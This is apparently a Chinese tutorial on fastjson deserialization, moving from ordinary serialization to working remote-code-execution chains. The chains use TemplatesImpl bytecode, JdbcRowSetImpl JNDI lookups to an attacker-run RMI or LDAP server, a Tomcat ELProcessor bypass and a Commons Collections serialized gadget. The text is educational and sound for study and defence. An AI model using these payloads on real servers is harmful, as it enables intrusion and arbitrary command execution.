這期內容當中小編將會給大家帶來有關怎么從零開始學習fastjson反序列化,文章內容豐富且以專業的角度為大家分析和敘述,閱讀完這篇文章希望大家可以有所收獲。
fastjson項目地址:https://github.com/alibaba/fastjson
用來實現Java POJO對象與JSON字符串的相互轉換,比如:
User user = new User(); user.setUserName("李四"); user.setAge(24); String userJson = JSON.toJSONString(user);
輸出結果:
{"age":24,"userName":"李四"}
以上將對象轉換為JSON字符串的操作為序列化,將JSON字符串實例化成Java POJO對象的操作即稱為反序列化。
JDK提供了API可以將Java對象轉換為字節序列保存在磁盤或網絡傳輸,接收方可以把字節序列再恢復為Java對象。
定義User類實現Serializable接口
public class User implements Serializable { private static final long serialVersionUID = 1L; private String name; private String sex; public String getName() { return name; } public String getSex() { return sex; } public void setName(String name) { this.name = name; } public void setSex(String sex) { this.sex = sex; } private void readObject(ObjectInputStream s) throws ClassNotFoundException, IOException { System.out.println("User readObject"); s.defaultReadObject(); } private void writeObject(ObjectOutputStream s)throws java.io.IOException{ System.out.println("User writeObject"); s.defaultWriteObject(); } private Object readResolve() { System.out.println("User readResolve"); return this; } }
Serializable接口沒有任何需要實現的方法,它僅僅是個標識。一個類的對象需要被序列化,必須實現Serializable接口,如果不實現會拋出異常java.io.NotSerializableException。
也可以實現Externalizable接口,Externalizable接口繼承自Serializable接口,并且抽象方法writeExternal和readExternal分別對應Serializable接口約定的writeObject和readObject方法。
public interface Externalizable extends java.io.Serializable { /** * by calling the methods of DataOutput for its primitive values or * calling the writeObject method of ObjectOutput for objects, strings, and arrays. */ void writeExternal(ObjectOutput out) throws IOException; /** * The object implements the readExternal method to restore its * contents by calling the methods of DataInput for primitive * types and readObject for objects, strings and arrays. The * readExternal method must read the values in the same sequence * and with the same types as were written by writeExternal. */ void readExternal(ObjectInput in) throws IOException, ClassNotFoundException; }
使用工具類 ObjectInputStream 和ObjectOutputStream 兩個IO類
User user = new User(); user.setName("李四"); user.setSex("M"); ObjectOutputStream oo = new ObjectOutputStream(new FileOutputStream(new File("User.txt"))); oo.writeObject(user); ObjectInputStream ois = new ObjectInputStream(new FileInputStream(new File("User.txt"))); User user1 = (User) ois.readObject(); System.out.println(user1.getName() + ":" + user1.getSex());
序列化需要調用ObjectOutputStream的writeObject方法,反序列化需要調用ObjectInputStream的readObject方法。
輸出結果
User writeObject User readObject User readResolve 李四:M
從結果來看比較神奇的是writeObject、readObject和readResolve聲明為私有卻被調用了,這是一種約定。
如果目標類中沒有定義私有的writeObject或readObject方法,那么序列化和反序列化的時候將調用默認的方法來根據目標類中的屬性(不包含transient修飾的屬性以及static變量)來進行序列化和反序列化。
如果目標類中定義了私有的writeObject或readObject方法,那么序列化和反序列化的時候將通過反射調用目標類指定的writeObject或readObject方法來實現,比如將static變量也加入到序列化中。
至于readResolve同樣也是通過反射調用的。從內存中反序列化地"組裝"一個新對象時,就會自動調用這個 readResolve方法來返回指定好的對象。從上面結果可以看到它是在readObject之后調用的,因此readResolve可以最終修改反序列化得到的對象。此種設計通常用來保證單例規則,防止序列化導致生成第二個對象的問題。如:
public final class MySingleton implements Serializable{ private MySingleton() { } private static final MySingleton INSTANCE = new MySingleton(); public static MySingleton getInstance() { return INSTANCE; } private Object readResolve() throws ObjectStreamException { // instead of the object we're on, // return the class variable INSTANCE return INSTANCE; } }
標準POJO類定義如下,有userName和age兩個屬性。
public class User { private int age; private String userName; public User() { System.out.println("User construct"); } public String getUserName() { System.out.println("getUserName"); return userName; } public void setUserName(String userName) { System.out.println("setUserName:" + userName); this.userName = userName; } public int getAge() { System.out.println("getAge"); return age; } public void setAge(int age) { System.out.println("setAge:" + age); this.age = age; } }
執行反序列化
String jsonstr = "{\"age\":24,\"userName\":\"李四\"}"; try { JSON.parseObject(jsonstr, User.class); }catch (Exception e) { System.out.println(e.getMessage()); }
輸出結果:
User construct setAge:24 setUserName:李四
以上結果證明,fastjson在反序列化時會調用setter方法。
public class User { public int age; public String userName; public User() { System.out.println("User construct"); } }
執行反序列化
String jsonstr = "{\"age\":24,\"userName\":\"李四\"}"; try { User user = JSON.parseObject(jsonstr, User.class); System.out.println("age:" + user.age); System.out.println("userName:" + user.userName); }catch (Exception e) { System.out.println(e.getMessage()); }
輸出結果:
User construct age:24 userName:李四
對于沒有setter的可見Filed,fastjson會正確賦值。
將Field userName改為私有,不提供setter
public class User { public int age; private String userName; public User() { System.out.println("User construct"); } public String getUserName() { return userName; } }
執行反序列化
String jsonstr = "{\"age\":24,\"userName\":\"李四\"}"; try { User user = JSON.parseObject(jsonstr, User.class); System.out.println("age:" + user.age); System.out.println("userName:" + user.getUserName()); }catch (Exception e) { System.out.println(e.getMessage()); }
輸出結果:
User construct age:24 userName:null
以上說明對于不可見Field且未提供setter方法,fastjson默認不會賦值。
將反序列化代碼修改為如下:
String jsonstr = "{\"age\":24,\"userName\":\"李四\"}"; try { User user = JSON.parseObject(jsonstr, User.class, Feature.SupportNonPublicField); System.out.println("age:" + user.age); System.out.println("userName:" + user.getUserName()); }catch (Exception e) { System.out.println(e.getMessage()); }
輸出結果:
User construct age:24 userName:李四
對于未提供setter的私有Field,fastjson在反序列化時需要顯式提供參數
Feature.SupportNonPublicField才會正確賦值。
fastjson支持使用@type指定反序列化的目標類,如下演示:
public class User { private int age; private String userName; public User() { System.out.println("User construct"); } public String getUserName() { System.out.println("getUserName"); return userName; } public void setUserName(String userName) { System.out.println("setUserName:" + userName); this.userName = userName; } public int getAge() { System.out.println("getAge"); return age; } public void setAge(int age) { System.out.println("setAge:" + age); this.age = age; } }
執行反序列化
ParserConfig.getGlobalInstance().setAutoTypeSupport(true); String jsonstr = "{\"@type\":\"test_fastjson.User\", \"age\":24,\"userName\":\"李四\"}"; try { JSON.parseObject(jsonstr); }catch (Exception e) { System.out.println(e.getMessage()); }
輸出結果:
User construct setAge:24 setUserName:李四 getAge getUserName
JSON字符串@type的值test_fastjson.User指定了要將此JSON字符串實例化為User對象,在此過程中fastjson不僅調用了setter也調用了getter。
假設代碼存在Evil類:
public class Evil { static { System.err.println("Pwned"); try { String[] cmd = {"calc"}; java.lang.Runtime.getRuntime().exec(cmd).waitFor(); } catch ( Exception e ) { e.printStackTrace(); } } }
執行反序列化
ParserConfig.getGlobalInstance().setAutoTypeSupport(true); String jsonstr = "{\"@type\":\"test_fastjson.Evil\", \"age\":24,\"userName\":\"李四\"}"; try { JSON.parseObject(jsonstr); }catch (Exception e) { System.out.println(e.getMessage()); }
輸出結果:
Pwned
正常代碼中很難找到像Evil這種代碼,攻擊者要想辦法通過現有的POJO類讓JVM加載構造的惡意類,整個過程有點類似二進制攻擊中的ROP技巧:先繞過fastjson的防御產生反序列化攻擊,再通過中間的POJO類完成攻擊鏈,這些POJO類即被稱為Gadget。
下文先假定fastjson的版本和使用方式已存在反序列化漏洞,先來分析一下常見的Gadget。
目標類本身又存在反序列化邏輯
該種類以com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl為例,詳細的TemplatesImpl分析請參考
https://www.cnblogs.com/tr1ple/p/12201553.html?utm_source=tuicool
TemplatesImpl類本身存在代碼邏輯,會將成員變量_bytecodes的數據作為類的字節碼進行反序列化。
利用fastjson反序列化后會調用屬性outputProperties的getter,完成如下調用鏈:
TemplatesImpl.getOutputProperties() TemplatesImpl.newTransformer() TemplatesImpl.getTransletInstance() TemplatesImpl.defineTransletClasses() ClassLoader.defineClass() Class.newInstance() ... MaliciousClass.<clinit>()
并且該MaliciousClass必須是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet的子類。
定義MaliciousClass如下
import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; public class Evil extends AbstractTranslet{ static { System.err.println("Pwned"); try { String[] cmd = {"calc"}; java.lang.Runtime.getRuntime().exec(cmd).waitFor(); } catch ( Exception e ) { e.printStackTrace(); } } @Override public void transform(DOM arg0, SerializationHandler[] arg1) throws TransletException { // TODO Auto-generated method stub } @Override public void transform(DOM arg0, DTMAxisIterator arg1, SerializationHandler arg2) throws TransletException { // TODO Auto-generated method stub } }
編譯生成Evil.class,將字節碼讀出并用base64加密,作為_bytecodes。構造如下JSON字符串。
{ "@type" : "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", "_bytecodes" : ["yv66vgAAADQAPQoADQAcCQAdAB4IAB8KACAAIQcAIggAIwoAJAAlCgAkACYKACcAKAcAKQoACgAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACkV4Y2VwdGlvbnMHAC0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIPGNsaW5pdD4BAA1TdGFja01hcFRhYmxlBwApAQAKU291cmNlRmlsZQEACUV2aWwuamF2YQwADgAPBwAuDAAvADABAAVQd25lZAcAMQwAMgAzAQAQamF2YS9sYW5nL1N0cmluZwEABGNhbGMHADQMADUANgwANwA4BwA5DAA6ADsBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAA8AA8BABJ0ZXN0X2Zhc3Rqc29uL0V2aWwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA2VycgEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAKChbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEAB3dhaXRGb3IBAAMoKUkBAA9wcmludFN0YWNrVHJhY2UAIQAMAA0AAAAAAAQAAQAOAA8AAQAQAAAAHQABAAEAAAAFKrcAAbEAAAABABEAAAAGAAEAAAAJAAEAEgATAAIAEAAAABkAAAADAAAAAbEAAAABABEAAAAGAAEAAAAXABQAAAAEAAEAFQABABIAFgACABAAAAAZAAAABAAAAAGxAAAAAQARAAAABgABAAAAHAAUAAAABAABABUACAAXAA8AAQAQAAAAawAEAAEAAAAmsgACEgO2AAQEvQAFWQMSBlNLuAAHKrYACLYACVenAAhLKrYAC7EAAQAIAB0AIAAKAAIAEQAAAB4ABwAAAAsACAANABIADgAdABEAIAAPACEAEAAlABIAGAAAAAcAAmAHABkEAAEAGgAAAAIAGw"], "_name" : "a", "_tfactory" : {}, "outputProperties" : {} }
以fastjson 1.2.24為例,執行反序列化
try { JSON.parseObject(jsonstr, Object.class, Feature.SupportNonPublicField); }catch (Exception e) { System.out.println(e.getMessage()); }
輸出結果:
Pwned
set property error, outputProperties
_bytecodes是私有屬性,_name也是私有域,所以在parseObject的時候需要設置Feature.SupportNonPublicField,這樣_bytecodes字段才會被反序列化,所以此gadget的利用條件比較苛刻,思路值得借鑒。
_tfactory這個字段在TemplatesImpl既沒有get方法也沒有set方法,這沒關系,我們設置_tfactory為{ },fastjson會調用其無參構造函數得_tfactory對象,這樣就解決了某些版本中在defineTransletClasses()用到會引用_tfactory屬性導致異常退出。
JNDI注入
反序列化Gadget主流都是使用JNDI,現階段都是在利用根據JNDI特征自動化挖掘Gadget。JNDI采取什么樣的方式注入以及能否注入成功和JDK的版本有關,因為JDK為了阻止反序列化攻擊也實施了相應的緩解措施。
簡單來說,JNDI (Java Naming and Directory Interface) 是一組應用程序接口,它為開發人員查找和訪問各種資源提供了統一的通用接口,可以用來定位用戶、網絡、機器、對象和服務等各種資源。比如可以利用JNDI在局域網上定位一臺打印機,也可以用JNDI來定位數據庫服務或一個遠程Java對象。JNDI底層支持RMI遠程對象,RMI注冊的服務可以通過JNDI接口來訪問和調用。
JNDI支持多種命名和目錄提供程序(Naming and Directory Providers),RMI注冊表服務提供程序(RMI Registry Service Provider)允許通過JNDI應用接口對RMI中注冊的遠程對象進行訪問操作。將RMI服務綁定到JNDI的一個好處是更加透明、統一和松散耦合,RMI客戶端直接通過URL來定位一個遠程對象,而且該RMI服務可以和包含人員,組織和網絡資源等信息的企業目錄鏈接在一起。
在JNDI服務中,RMI服務端除了直接綁定遠程對象之外,還可以通過References類來綁定一個外部的遠程對象(當前名稱目錄系統之外的對象)。綁定了Reference之后,服務端會先通過Referenceable.getReference()獲取綁定對象的引用,并且在目錄中保存。當客戶端在lookup()查找這個遠程對象時,客戶端會獲取相應的object factory,最終通過factory類將reference轉換為具體的對象實例。
下文以com.sun.rowset.JdbcRowSetImpl為例說明。根據FastJson反序列化漏洞原理,FastJson將JSON字符串反序列化到指定的Java類時,會調用目標類的getter、setter等方法。JdbcRowSetImpl類的setAutoCommit()會調用connect()函數,connect()函數如下:
private Connection connect() throws SQLException { if(this.conn != null) { return this.conn; } else if(this.getDataSourceName() != null) { try { InitialContext var1 = new InitialContext(); DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName()); return this.getUsername() != null && !this.getUsername().equals("")?var2.getConnection(this.getUsername(), this.getPassword()):var2.getConnection(); } catch (NamingException var3) { throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString()); } } else { return this.getUrl() != null?DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()):null; } }
connect()會調用InitialContext.lookup(dataSourceName),這里的參數dataSourceName是在setter方法setDataSourceName(String name)中設置的。所以在FastJson反序列化漏洞過程中,我們可以控制dataSourceName的值,也就是說滿足了JNDI注入利用的條件。
JNDI注入利用流程如下:
1、目標代碼中調用了InitialContext.lookup(URI),且URI為用戶可控;
2、攻擊者控制URI參數為惡意的RMI服務地址,如:rmi://hacker_rmi_server//name;
3、攻擊者RMI服務器向目標返回一個Reference對象,Reference對象中指定某個精心構造的Factory類;
4、目標在進行lookup()操作時,會動態加載并實例化Factory類,接著調用factory.getObjectInstance()獲取外部遠程對象實例;
5、攻擊者可以在Factory類文件的構造方法、靜態代碼塊、getObjectInstance()方法等處寫入惡意代碼,達到RCE的效果;
在這里,攻擊目標扮演的相當于是JNDI客戶端的角色,攻擊者通過搭建一個惡意的RMI服務端來實施攻擊。
可使用https://github.com/mbechler/marshalsec快速開啟RMI/LDAP服務。
編譯惡意類
public class Exploit { static { System.err.println("Pwned"); try { String[] cmd = {"calc"}; java.lang.Runtime.getRuntime().exec(cmd).waitFor(); } catch ( Exception e ) { e.printStackTrace(); } } }
得到Exploit.class,部署在HTTP服務上,通過http://ip:port/Exploit.class可訪問下載。
下文代碼都以fastjson1.2.24版本為例。**可將惡意類部署有RMI和LDAP兩種方式。
1、RMI
JDK 6u132, JDK 7u122, JDK 8u113之前可用。
攻擊者通過RMI服務返回一個JNDI Naming Reference,受害者解碼Reference時會去我們指定的Codebase遠程地址加載Factory類,但是原理上并非使用RMI Class Loading機制的,因此不受 java.rmi.server.useCodebaseOnly 系統屬性的限制,相對來說更加通用。
但是在JDK 6u132, JDK 7u122, JDK 8u113 中Java提升了JNDI 限制了Naming/Directory服務中JNDI Reference遠程加載Object Factory類的特性。系統屬性 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 的默認值變為false,即默認不允許從遠程的Codebase加載Reference工廠類。如果需要開啟 RMI Registry 或者 COS Naming Service Provider的遠程類加載功能,需要將前面說的兩個屬性值設置為true。
啟動RMI服務:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://192.168.50.131:8000/#Exploit 9999
#后面是類名,最后參數是RMI服務監聽端口
執行反序列化
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://192.168.50.131:9999/Exploit\",\"autoCommit\":true}"; try { System.out.println(payload); JSON.parseObject(payload); } catch (Exception e) { System.out.println(e.getMessage()); }
輸出結果同上,彈出計算器。
2、LDAP
JDK 11.0.1、8u191、7u201、6u211之前可用。
除了RMI服務之外,JNDI還可以對接LDAP服務,LDAP也能返回JNDI Reference對象,利用過程與上面RMI Reference基本一致,只是lookup()中的URL為一個LDAP地址:ldap://xxx/xxx,由攻擊者控制的LDAP服務端返回一個惡意的JNDI Reference對象。并且LDAP服務的Reference遠程加載Factory類不受上一點中 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase等屬性的限制,所以適用范圍更廣。
不過在2018年10月,Java最終也修復了這個利用點,對LDAP Reference遠程工廠類的加載增加了限制,在Oracle JDK 11.0.1、8u191、7u201、6u211之后 com.sun.jndi.ldap.object.trustURLCodebase 屬性的默認值被調整為false。
啟動LDAP服務:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.50.131:8000/#Exploit 9999
執行反序列化
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://192.168.50.131:9999/Exploit\",\"autoCommit\":true}"; try { System.out.println(payload); JSON.parseObject(payload); } catch (Exception e) { System.out.println(e.getMessage()); }
輸出結果同上,彈出計算器。
更高版本JDK
更高版本的JDK做了安全限制,想執行任意代碼沒有那么簡單了。
源碼參考https://github.com/kxcode/JNDI-Exploit-Bypass-Demo
利用本地Class作為Reference Factory
在高版本中(如:JDK8u191以上版本)雖然不能從遠程加載惡意的Factory,但是我們依然可以在返回的Reference中指定Factory Class,這個工廠類必須在受害目標本地的CLASSPATH中。工廠類必須實現 javax.naming.spi.ObjectFactory 接口,并且至少存在一個 getObjectInstance() 方法。org.apache.naming.factory.BeanFactory 剛好滿足條件并且存在被利用的可能。org.apache.naming.factory.BeanFactory 存在于Tomcat依賴包中,所以使用也是非常廣泛。
org.apache.naming.factory.BeanFactory 在 getObjectInstance() 中會通過反射的方式實例化Reference所指向的任意Bean Class,并且會調用setter方法為所有的屬性賦值。而該Bean Class的類名、屬性、屬性值,全都來自于Reference對象,均是攻擊者可控的。
這個情況下,目標Bean Class必須有一個無參構造方法,有public的setter方法且參數為一個String類型。事實上,這些setter不一定需要是set..開頭的方法,根據org.apache.naming.factory.BeanFactory中的邏輯,我們可以把某個方法強制指定為setter。
這里,我們找到了javax.el.ELProcessor可以作為目標Class。啟動RMI Server的利用代碼如下:
public static void lanuchRMIregister(Integer rmi_port) throws Exception { System.out.println("Creating RMI Registry, RMI Port:"+rmi_port); Registry registry = LocateRegistry.createRegistry(rmi_port); /** Payload2: Exploit with JNDI Reference with local factory Class **/ ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null); //redefine a setter name for the 'x' property from 'setX' to 'eval', see BeanFactory.getObjectInstance code ref.add(new StringRefAddr("forceString", "KINGX=eval")); //expression language to execute 'nslookup jndi.s.artsploit.com', modify /bin/sh to cmd.exe if you target windows ref.add(new StringRefAddr("KINGX", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")")); /** Payload2 end **/ ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref); registry.bind("Exploit", referenceWrapper); System.out.println(referenceWrapper.getReference()); }
"forceString"可以給屬性強制指定一個setter方法,這里我們將屬性"KINGX"的setter方法設置為 ELProcessor.eval() 方法。ResourceRef 中加上元素"KINGX",賦值為需要執行的惡意代碼。最后調用setter就變成了執行如下代碼:
ELProcessor.eval(\"\".getClass().forName("javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\"))
ELProcessor.eval()會對EL表達式進行求值,最終達到命令執行的效果。
這種繞過方式需要目標環境中存在Tomcat相關依賴,當然其他Java Server可能也存在可被利用的Factory類,可以進一步研究。
<dependency><groupId>org.apache.tomcat</groupId><artifactId>tomcat-catalina</artifactId><version>9.0.20</version> </dependency> <dependency><groupId>org.apache.tomcat</groupId><artifactId>tomcat-jasper</artifactId><version>9.0.20</version> </dependency>
利用LDAP返回序列化數據,觸發本地Gadget
Java對象在LDAP目錄中也有多種存儲形式:
Java序列化
JNDI Reference
Marshalled對象
Remote Location (已棄用)
LDAP可以為存儲的Java對象指定多種屬性:
javaCodeBase
objectClass
javaFactory
javaSerializedData
…
javaCodebase 屬性可以指定遠程的URL,這樣黑客可以控制反序列化中的class,通過JNDI Reference的方式進行利用,即上文描述的方式,高版本JDK已經默認不允許。LDAP Server除了使用JNDI Reference進行利用之外,還支持直接返回一個對象的序列化數據,客戶端反序列化時實現RCE。
下面以Apache Commons Collections包為例分析,這就要求執行環境中有安裝部署此包。
Apache Commons Collections中提供了一個Transformer類,功能就是將一個對象轉換為另外一個對象。漏洞利用時主要用到如下3個類:
1、InvokeTransformer
Transformer implementation that creates a new object instance by reflection.(通過反射,返回一個對象)
2、ChainedTransformer
Transformer implementation that chains the specified transformers together.(把transformer連接成一條鏈,對一個對象依次通過鏈條內的每一個transformer進行轉換)
3、ConstantTransformer
Transformer implementation that returns the same constant each time.(把一個對象轉化為常量,并返回)
InvokeTransformer
InvokeTransformer可通過反射的方式進行函數調用:
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{new String("calc")}); invokerTransformer.transform(Runtime.getRuntime());
那么接下來要尋找辦法來調用transform。
ConstantTransformer
ConstantTransformer的transform方法直接返回構造方法的參數。如:
new ConstantTransformer(Runtime.class)
ChainedTransformer
ChainedTransformer的transform方法會遍歷Transformer數組中元素并執行其各自的transform方法:
public Object transform(Object object) { for (int i = 0; i < iTransformers.length; i++) { object = iTransformers[i].transform(object); } return object; }
那么現在只需要執行chainedTransformer的transform方法就可以彈出計算器了:
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; Transformer chainedTransformer = new ChainedTransformer(transformers);
需要借助另外的類TransformedMap,該類設計用來作Map的變換。
Map inMap = new HashMap(); inMap.put("key", "value"); Map outMap = TransformedMap.decorate(inMap, null, chainedTransformer);
decorate函數說明及源碼
/** * Factory method to create a transforming map. * <p> * If there are any elements already in the map being decorated, they * are NOT transformed. * Constrast this with {@link #decorateTransform}. * * @param map the map to decorate, must not be null * @param keyTransformer the transformer to use for key conversion, null means no transformation * @param valueTransformer the transformer to use for value conversion, null means no transformation * @throws IllegalArgumentException if map is null */ public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap(map, keyTransformer, valueTransformer); }
TransformedMap的entry value如果被修改就會執行Transformer的transform方法。而剛好有另外的類sun.reflect.annotation.AnnotationInvocationHandler,該類是java運行庫中處理注解的類,包含一個Map對象屬性,其readObject方法有自動修改自身Map屬性的操作,即反序列化此對象會修改Map對象屬性,這樣就整個利用鏈就銜接上了。
生成序列化字節碼的代碼:
import java.io.*; import java.lang.annotation.Retention; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.util.HashMap; import java.util.Map; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; public class CommonsCollectionPayload { public static void main(String[] args) throws Exception { /* * Runtime.getRuntime().exec("calc"); */ Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; Transformer chainedTransformer = new ChainedTransformer(transformers); Map inMap = new HashMap(); inMap.put("key", "value"); Map outMap = TransformedMap.decorate(inMap, null, chainedTransformer); Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor ctor = cls.getDeclaredConstructor(new Class[] { Class.class, Map.class }); ctor.setAccessible(true); Object instance = ctor.newInstance(new Object[] { Retention.class, outMap }); FileOutputStream fos = new FileOutputStream("payload.txt"); ObjectOutputStream oos = new ObjectOutputStream(fos); oos.writeObject(instance); oos.flush(); oos.close(); } }
接下來構造LDAP服務,把payload.txt中的序列化字節碼(經過Base64轉碼)放置上去:
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException { URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class")); System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); e.addAttribute("javaClassName", "foo"); String cbstring = this.codebase.toString(); int refPos = cbstring.indexOf('#'); if ( refPos > 0 ) { cbstring = cbstring.substring(0, refPos); } /** Payload2: Return Serialized Gadget **/ try { e.addAttribute("javaSerializedData",Base64.decode("rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh3kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AARjYWxjdAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg=")); } catch (ParseException e1) { e1.printStackTrace(); } /** Payload2 end **/ result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); }
剩下的利用fastjson反序列化漏洞觸發JNDI注入完成命令執行。
此種辦法構造序列化對象字節碼是關鍵,已有人開發出工具自動生成:https://github.com/frohoff/ysoserial
